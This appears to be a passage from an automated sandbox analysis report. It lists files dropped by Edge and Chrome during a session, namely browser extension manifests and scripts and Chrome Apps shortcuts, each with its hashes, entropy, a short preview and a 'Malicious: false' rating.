SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir5324_1219239554\e155e8eb-d8c3-4a7d-b392-698eb5da465c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir5324_283674801\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir5324_283674801\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir5324_283674801\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir5324_283674801\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5324_283674801\a88bdb72-ef16-413a-bcfa-3fe50b36c5a2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 22 21:06:15 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9846575391204535
Encrypted:	false
SSDEEP:	48:8/diTuOuHBidAKZdA19ehwiZUklqehvy+3:8sPUYy
MD5:	C491DEAEE1091136E6EA485CF8BD3CC1
SHA1:	E255967DB1FB02368A1F14F5767F068574FB3C50
SHA-256:	3499B529C3A9BD0A072DDC1DD837BCCFE1378AB13BEFACC50BA31037EF57D839
SHA-512:	05C314781713F92E919272E14C918304757F2059216C7B1C297873B8879A76632794BB7351869D27E968073BF5611854964CC97B599B9EA5A73743AC8A1B29F5
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....q..=..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IvY.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VvY.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VvY.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VvY............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VvY............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.........../........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 22 21:06:15 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.999747996698319
Encrypted:	false
SSDEEP:	48:8kdiTuOuHBidAKZdA1weh/iZUkAQkqehIy+2:8FPm9QNy
MD5:	6321931DB4F25F76487E266A0D22920B
SHA1:	F69C9D52064F1D71AA6C89FBEBDF30AD9B6D4DBD
SHA-256:	E77C22E71833F034E7561BD6B851393A8BC4D145B93B380FF5C1B39B7D3577CC
SHA-512:	F8BB2534B6CD40C7A1B12AF8CE12CA9FB1B084A4DF76E09D17DC8171129049CDA0805D30F4D831EC025DDFD6AEC781EB5C120DAA9A963B47C511EC8C6680AA98
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......=..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IvY.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VvY.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VvY.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VvY............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VvY............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.........../........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.007607564639421
Encrypted:	false
SSDEEP:	48:8xXdiTuOsHBidAKZdA14tseh7sFiZUkmgqeh7sGy+BX:8xkPkncy
MD5:	2AFDC365B73BB19EB2FBC4A3A1C183CE
SHA1:	F4D59591DF85548AACFC27B80FA6E28742D1296C
SHA-256:	4C82893355C3A9178F413FCFF16FC32C9D634A1BD5C288C0857D386BDF3020A3
SHA-512:	634708E95484CD60EB2FD251B5BE564EA7D94427CE62C430E14A93F80AF2201A169441ACCDA2C9EF9E0D4C8BD49D1788C089AAA4829BA3E100476CFBEC40DFAC
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IvY.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VvY.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VvY.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VvY............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.........../........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 22 21:06:15 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.99779116616127
Encrypted:	false
SSDEEP:	48:8BdiTuOuHBidAKZdA1vehDiZUkwqehUy+R:82Ptey
MD5:	9BD189263B4F2D918DD9710F4D35B79D
SHA1:	6E5610D87E5567C4ACF84E201FE2E643591AA2BB
SHA-256:	DFC3C86033E644E18CDF4B6FF6C00AB36596CBBEB882F0983260A1ABC720F756
SHA-512:	68CE8D254F5CB22BC89C7C6208923ACA808FB9CB16E932DE6A68DDEC79847242FE8675FD2346BA11AE10C1A949B872DE4366625C4E999F0105104E8F88FBF497
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......=..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IvY.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VvY.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VvY.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VvY............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VvY............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.........../........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Nov 22 21:06:15 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9864441930520087
Encrypted:	false
SSDEEP:	48:8YdiTuOuHBidAKZdA1hehBiZUk1W1qehay+C:8JPt96y
MD5:	D44F0F7F09445EF0541533633980EF42
SHA1:	F4CF423FDBD0498A45E1CC950749C254FE1A8668
SHA-256:	D34A94FA03DFAF9CAC1D18F604BCB93029572BB1CB86BEB81E22B65E84401D34
